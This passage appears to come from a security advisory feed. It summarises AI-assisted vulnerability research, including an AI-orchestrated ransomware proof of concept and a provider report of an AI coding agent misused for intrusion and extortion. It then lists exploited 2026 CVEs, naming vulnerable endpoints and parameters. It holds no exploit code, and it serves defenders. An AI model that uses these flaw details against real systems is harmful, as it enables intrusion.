https://kevwire.com/record/google-big-sleep-sqlite-2024 Big Sleep finds a pre-release SQLite memory-safety flaw (Nov 1, 2024). Google Project Zero and DeepMind report that their Big Sleep agent found an exploitable stack buffer underflow in SQLite's generate_series extension. Developers fixed it before an official release, so the report says released SQLite users were not affected. AI classification: defense; evidence: reported. The teams report actual AI-assisted vulnerability discovery in an experimental pre-release setting. Their claimed research result is attributed, not independently reproduced here. Sources: Project Zero and DeepMind: From Naptime to Big Sleep: https://googleprojectzero.blogspot.com/2024/10/from-naptime-to-big-sleep.html This was experimental variant analysis using researcher-curated commits, not an unassisted audit of every SQLite release. Google explains that existing fuzzing harnesses lacked the affected code and cautions that a target-specific fuzzer might be at least as effective. Action: Use the documented experiment as an evaluation example for complementary AI-assisted review and fuzzing. This research notice does not establish a patch requirement for released SQLite installations. Kind: ai-research; regions: Global; provenance: editorial. KEV evidence not available. ### OSS-Fuzz reports vulnerabilities from AI-generated targets https://kevwire.com/record/google-oss-fuzz-ai-targets-2024 OSS-Fuzz reports vulnerabilities from AI-generated targets (Nov 20, 2024). Google's open-source security team reports 26 vulnerabilities found with AI-generated or enhanced fuzz targets, including an OpenSSL flaw. The result concerns improvements to vulnerability discovery, not evidence that every finding was autonomously patched. AI classification: defense; evidence: reported. Google reports actual use of LLM-generated fuzz targets to discover vulnerabilities. The reported research totals were not independently reproduced in this editorial review. Sources: Google Security Blog: Leveling Up Fuzzing: https://security.googleblog.com/2024/11/leveling-up-fuzzing-finding-more.html Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50 The November 20, 2024 article describes target generation, compilation repair, execution, and crash triage. It explicitly treats automatic vulnerability patching and removal of human review as future work. The reported totals describe this research corpus, not worldwide incidence. Action: Review the published workflow and oss-fuzz-gen framework when evaluating AI-assisted fuzzing. Retain human validation of generated targets, crash interpretation, and proposed fixes rather than assuming end-to-end autonomous remediation. Kind: ai-research; regions: Global; provenance: editorial. KEV evidence not available. ### DARPA AIxCC final demonstrates AI-assisted discovery and patching https://kevwire.com/record/darpa-aixcc-final-results-2025 DARPA AIxCC final demonstrates AI-assisted discovery and patching (Aug 8, 2025). DARPA reports that AIxCC finalists found 54 of 63 synthetic vulnerabilities and patched 43 in the final competition. Separately, teams found 18 non-synthetic vulnerabilities and provided 11 patches for those real-software findings. AI classification: defense; evidence: reported. The competition organizer reports actual AI-enabled discovery and patch generation. This review verifies the organizer's published results, not independent reproduction or deployment effectiveness. Sources: DARPA AIxCC final results: https://www.darpa.mil/news/2025/aixcc-results These are competition results on a disclosed software corpus, not live breach counts or a universal patch-success rate. DARPA corrected its original synthetic-vulnerability denominator to 63. The results describe AI combined with other cyber-defense techniques and planned open-source transition. Action: Evaluate released cyber reasoning systems and competition artifacts against local code and tests before operational adoption. Distinguish synthetic benchmark results, real-software findings, and maintainer acceptance of proposed patches. Kind: ai-research; regions: Global; provenance: editorial. KEV evidence not available. ### PromptLock: AI-orchestrated ransomware proof of concept https://kevwire.com/record/promptlock-ransomware-proof-of-concept-2025 PromptLock: AI-orchestrated ransomware proof of concept (Aug 26, 2025). ESET describes PromptLock samples that use a local language model through Ollama to generate and execute Lua scripts. Its September 3, 2025 update links the samples to an academic research prototype; ESET did not observe PromptLock in actual attacks. AI classification: offense; evidence: reported. ESET reports actual model use inside offensive-capability research samples. Offense here describes a laboratory proof of concept, not evidence of criminal deployment or victim impact. Sources: ESET PromptLock disclosure with September 3, 2025 update: https://www.welivesecurity.com/en/ransomware/first-known-ai-powered-ransomware-uncovered-eset-research/ Academic preprint: Ransomware 3.0: https://arxiv.org/abs/2508.20444 The samples were uploaded to VirusTotal and support a research demonstration of runtime script generation, not an established deployed criminal campaign. ESET says destructive functionality appeared unimplemented. The academic paper calls its system a threat model and research prototype. Action: Treat this as proof-of-concept research and consult ESET's published indicators for sample analysis. The cited sources do not establish a production vulnerability, victim-remediation requirement, or patch for a criminal campaign. Kind: ai-research; regions: Global; provenance: editorial. KEV evidence not available. ### Anthropic reports Claude Code misuse in data extortion https://kevwire.com/record/anthropic-claude-code-extortion-report-2025 Anthropic reports Claude Code misuse in data extortion (Aug 27, 2025). Anthropic reports disrupting an actor that used Claude Code for reconnaissance, credential harvesting, network intrusion, and analysis of stolen data for extortion. This is attributed provider reporting of actual AI use, not an inference from generic automation. AI classification: offense; evidence: reported. Anthropic directly reports observed misuse of its AI service in an extortion operation. Provider attribution and reported activity are retained without claiming independent verification of victim outcomes. Sources: Anthropic: Detecting and countering misuse of AI, August 2025: https://www.anthropic.com/news/detecting-countering-misuse-aug-2025 Anthropic: Challenges in red teaming AI systems: https://www.anthropic.com/news/challenges-in-red-teaming-ai-systems Anthropic sitemap: https://www.anthropic.com/sitemap.xml Anthropic: Strengthening our defenses against distillation attacks: https://www.anthropic.com/news/distillation-defenses Anthropic: Claude Gov models for US national security: https://www.anthropic.com/news/claude-gov-models-for-u-s-national-security-customers Anthropic: Detecting and preventing distillation attacks: https://www.anthropic.com/news/detecting-and-preventing-distillation-attacks Anthropic: Frontier threats red teaming for AI safety: https://www.anthropic.com/news/frontier-threats-red-teaming-for-ai-safety Anthropic: Frontier model security: https://www.anthropic.com/news/frontier-model-security Anthropic: Detecting and countering malicious uses of Claude: https://www.anthropic.com/news/detecting-and-countering-malicious-uses-of-claude-march-2025 Anthropic: Partnering with Mozilla on Firefox security: https://www.anthropic.com/news/mozilla-firefox-security Anthropic: Making frontier cybersecurity capabilities available to defenders: https://www.anthropic.com/news/claude-code-security Anthropic: Fable 5's cyber safeguards and our jailbreak framework: https://www.anthropic.com/news/fable-safeguards-jailbreak-framework Anthropic: National Security and Public Sector Advisory Council: https://www.anthropic.com/news/introducing-the-anthropic-national-security-and-public-sector-advisory-council Anthropic: Expanding the Cyber Verification Program: https://www.anthropic.com/news/cyber-verification-program Anthropic: Investigating three incidents in our cybersecurity evaluations: https://www.anthropic.com/news/investigating-incidents-cybersecurity-evals Anthropic: Improving our alignment and security practices: https://www.anthropic.com/news/improving-alignment-security-efforts Anthropic: Alberta uses Claude to find and fix security vulnerabilities: https://www.anthropic.com/news/alberta-government-claude-cybersecurity Anthropic says it banned associated accounts and shared indicators with authorities. Victim identities and independent confirmation are not supplied in the reviewed article. Its displayed ransom guidance and notes are illustrative simulations, not original attack logs. Action: Consult the provider's report for its documented misuse pattern and response. The public article does not supply organization-specific remediation instructions or prove outcomes for each targeted victim. Kind: advisory; regions: Global; provenance: editorial. KEV evidence not available. ### Arista VeloCloud Orchestrator SQL Injection Vulnerability https://kevwire.com/record/CVE-2026-114625 Arista VeloCloud Orchestrator SQL Injection Vulnerability (Oct 22, 2026). VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator. On an affected system, any authenticated user can gain operator privileges and masquerade as a local "superuser operator" user. This includes access to functionality that is intended for internal use only and which is not intended to be remotely accessible. Hosted, including Dedicated, versions of VCO were impacted and have already been patched. CVSS 9.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114625). EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114625&date=2026-10-25). Sources: NVD CVE-2026-114625: https://nvd.nist.gov/vuln/detail/CVE-2026-114625 Vendor advisory (via NVD references): https://www.arista.com/en/support/advisories-notices/security-advisory/24838-security-advisory-0199 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500 CISA KEV entry CVE-2026-114625: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114625&date=2026-10-25 VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator. On an affected system, any authenticated user can gain operator privileges and masquerade as a local "superuser operator" user. This includes access to functionality that is intended for internal use only and which is not intended to be remotely accessible. Hosted, including Dedicated, versions of VCO were impacted and have already been patched. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 23, 2026; federal due date Oct 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Collabora Online – Built-in CODE Server OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-110447 Collabora Online – Built-in CODE Server OS Command Injection Vulnerability (Oct 14, 2026). Collabora Online Built-in CODE Server before 26.4.303 (richdocumentscode), a Nextcloud app, allows remote code execution, as exploited in the wild in September and October 2026, a different vulnerability than CVE-2025-66208. This is an OS command injection in proxy.php when the CODE server isn't running (e.g., the product was recently restarted). The vulnerability is not present in standalone Collabora Online servers; only this deployment with CODE Server is affected. CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110447). EPSS 12.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110447&date=2026-10-25). Sources: NVD CVE-2026-110447: https://nvd.nist.gov/vuln/detail/CVE-2026-110447 Vendor advisory (via NVD references): https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500 CISA KEV entry CVE-2026-110447: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json The Hacker News: CISA Flags Two Actively Exploited Critical Flaws in Collabora Online and Arista VeloCloud: https://thehackernews.com/2026/10/cisa-flags-two-actively-exploited.html The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110447&date=2026-10-25 Collabora Online Built-in CODE Server before 26.4.303 (richdocumentscode), a Nextcloud app, allows remote code execution, as exploited in the wild in September and October 2026, a different vulnerability than CVE-2025-66208. This is an OS command injection in proxy.php when the CODE server isn't running (e.g., the product was recently restarted). The vulnerability is not present in standalone Collabora Online servers; only this deployment with CODE Server is affected. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 23, 2026; federal due date Oct 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### EG Secure Solutions SiteGuard Server Edition OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-106931 EG Secure Solutions SiteGuard Server Edition OS Command Injection Vulnerability (Oct 20, 2026). EG Secure Solutions SiteGuard Server Edition contains an OS command injection vulnerability which may allow an attacker to execute arbitrary OS commands with root or SYSTEM privileges on the system running the affected product. CVSS 8.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106931). EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106931&date=2026-10-25). Sources: CISA KEV entry CVE-2026-106931: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json JPCERT/CC Japan Advisories: Security alert: OS command injection vulnerability in SiteGuard Server Edition (CVE-2026-106931) (published): https://www.jpcert.or.jp/at/2026/at260032.html JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf NVD CVE-2026-106931: https://nvd.nist.gov/vuln/detail/CVE-2026-106931 Vendor advisory (via NVD references): https://www.eg-secure.co.jp/siteguard/news/alert-202610-1 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106931&date=2026-10-25 CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global, Japan; provenance: pipeline. CISA added Oct 20, 2026; federal due date Oct 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Plex Media Server External Control of File Name or Path Vulnerability https://kevwire.com/record/CVE-2026-96656 Plex Media Server External Control of File Name or Path Vulnerability (Oct 20, 2026). Plex Media Server contains an external control of file name or path vulnerability which can allow an admin user to write arbitrary files that may be executed on load. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96654, and CVE-2026-96655. CVSS 8.6 (version 4.0; evidence as of Sep 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-96656). EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96656&date=2026-10-25). Sources: CISA KEV entry CVE-2026-96656: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96656&date=2026-10-25 CVE Program CNA cisa-cg: https://cveawg.mitre.org/api/cve/CVE-2026-96656 CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2026; federal due date Oct 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability https://kevwire.com/record/CVE-2026-96655 Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability (Oct 20, 2026). Plex Media Server contains a server-side request forgery (SSRF) vulnerability that could allow an authenticated user to request arbitrary internal or external addresses via the '/video/:/transcode/universal' path parameter. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96654, and CVE-2026-96656. CVSS 5.3 (version 4.0; evidence as of Sep 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-96655). EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96655&date=2026-10-25). Sources: CISA KEV entry CVE-2026-96655: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96655&date=2026-10-25 CVE Program CNA cisa-cg: https://cveawg.mitre.org/api/cve/CVE-2026-96655 CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2026; federal due date Nov 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Plex Media Server Improper Neutralization of Encoded URI Schemes in a Web Page Vulnerability https://kevwire.com/record/CVE-2026-96654 Plex Media Server Improper Neutralization of Encoded URI Schemes in a Web Page Vulnerability (Oct 20, 2026). Plex Media Server contains an improper neutralization of encoded URI schemes in a web page vulnerability that could allow an attacker to call other plugins' functions and supply their own parameters. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96655, and CVE-2026-96656. CVSS 6.9 (version 4.0; evidence as of Oct 20, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-96654). EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96654&date=2026-10-25). Sources: CISA KEV entry CVE-2026-96654: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96654&date=2026-10-25 CVE Program CNA cisa-cg: https://cveawg.mitre.org/api/cve/CVE-2026-96654 CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2026; federal due date Oct 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability https://kevwire.com/record/CVE-2026-96652 Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability (Oct 20, 2026). Plex Media Server contains a server-side request forgery (SSRF) vulnerability which could allow an attacker using any X-Plex-Token value to include a full URL in the 'protocol' parameter and force the Plex server to POST to the attacker's chosen destination. This vulnerability can be chained with CVE-2026-96654, CVE-2026-96655, and CVE-2026-96656. CVSS 5.3 (version 4.0; evidence as of Sep 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-96652). EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96652&date=2026-10-25). Sources: CISA KEV entry CVE-2026-96652: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96652&date=2026-10-25 CVE Program CNA cisa-cg: https://cveawg.mitre.org/api/cve/CVE-2026-96652 CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2026; federal due date Nov 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Siemens Software Center Uncontrolled Search Path Element Vulnerability https://kevwire.com/record/CVE-2026-110936 Siemens Software Center Uncontrolled Search Path Element Vulnerability (Oct 15, 2026). A vulnerability has been identified in Siemens Software Center (All versions < V4.0.9.8). The affected application loads dynamic-link libraries (DLLs) from an uncontrolled search path. This could allow an authenticated local attacker to place a specially crafted DLL in a directory that the application searches, leading to arbitrary code execution with the privileges of the affected application. CVSS 8.4 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110936). EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110936&date=2026-10-25). Sources: NVD CVE-2026-110936: https://nvd.nist.gov/vuln/detail/CVE-2026-110936 Vendor advisory (via NVD references): https://cert-portal.siemens.com/productcert/html/ssa-580366.html NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500 CISA KEV entry CVE-2026-110936: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110936&date=2026-10-25 A vulnerability has been identified in Siemens Software Center (All versions < V4.0.9.8). The affected application loads dynamic-link libraries (DLLs) from an uncontrolled search path. This could allow an authenticated local attacker to place a specially crafted DLL in a directory that the application searches, leading to arbitrary code execution with the privileges of the affected application. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2026; federal due date Nov 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### BeyondTrust Remote Support Authentication Bypass by Spoofing Vulnerability https://kevwire.com/record/CVE-2026-102764 BeyondTrust Remote Support Authentication Bypass by Spoofing Vulnerability (Oct 15, 2026). The vulnerability exists within internal components of BeyondTrust’s Remote Support product. The components did not adequately validate the origin of the messages it received. Under the right conditions, this could allow an attacker to perform file operations on the appliance. CVSS 9.3 (version 4.0; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102764). EPSS 20.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102764&date=2026-10-25). Sources: NVD CVE-2026-102764: https://nvd.nist.gov/vuln/detail/CVE-2026-102764 Vendor advisory (via NVD references): https://www.beyondtrust.com/blog/entry/bt26-05 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000 CISA KEV entry CVE-2026-102764: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102764&date=2026-10-25 The vulnerability exists within internal components of BeyondTrust’s Remote Support product. The components did not adequately validate the origin of the messages it received. Under the right conditions, this could allow an attacker to perform file operations on the appliance. NVD status: Analyzed. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 16, 2026; federal due date Oct 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet Multiple Products Path Traversal Vulnerability https://kevwire.com/record/CVE-2025-61624 Fortinet Multiple Products Path Traversal Vulnerability (Oct 16, 2026). FortiOS, FortiPAM, FortiProxy, and FortiSwitchManager contain a path traversal vulnerability that may allow an authenticated attacker with admin profile and at least read-write permissions to write or delete arbitrary files via specific CLI commands. CVSS 5.4 (version 3.1; evidence as of Apr 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-61624). EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-61624&date=2026-10-25). Sources: CISA KEV entry CVE-2025-61624: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-61624&date=2026-10-25 CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2025-61624 CISA added this entry on 2026-10-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 16, 2026; federal due date Oct 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Atlassian Multiple Products Files or Directories Accessible to External Parties Vulnerability https://kevwire.com/record/CVE-2026-21589 Atlassian Multiple Products Files or Directories Accessible to External Parties Vulnerability (Oct 15, 2026). Multiple Atlassian products (Bitbucket Data Center ,Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center, Crowd Data Center, Crucible and Fisheye) contain a files or directories accessible to external parties vulnerability which could allow an unauthenticated attacker to access specific files within the web application root directory in affected versions. CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-21589). EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21589&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21589: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21589&date=2026-10-25 CVE Program CNA atlassian: https://cveawg.mitre.org/api/cve/CVE-2026-21589 CISA added this entry on 2026-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 15, 2026; federal due date Oct 18, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ahsay AhsayCBS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-105134 Ahsay AhsayCBS Command Injection Vulnerability (Oct 4, 2026). A flaw has been found in Ahsay AhsayCBS up to 9.15.2.69/10.3.4.44. This vulnerability affects unknown code of the file /rps/api/json/UpdateReceivers.do of the component Replication Receiver. Executing a manipulation of the argument random can lead to os command injection. It is possible to launch the attack remotely. The exploit has been published and may be used. Upgrading to version 9.15.2.70 and 10.3.4.45 is able to resolve this issue. Upgrading the affected component is advised. The initial patch did not fix the security vulnerability properly. An update of the CVE entry to reflect this became necessary. CVSS 10.0 (version 4.0; evidence as of Oct 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-105134). EPSS 86.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105134&date=2026-10-25). Sources: NVD CVE-2026-105134: https://nvd.nist.gov/vuln/detail/CVE-2026-105134 Vendor advisory (via NVD references): https://www.ahsay.com/en/company/announcements/patch-cve-105133-105134-update NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0 NVD CVE API 2.0: 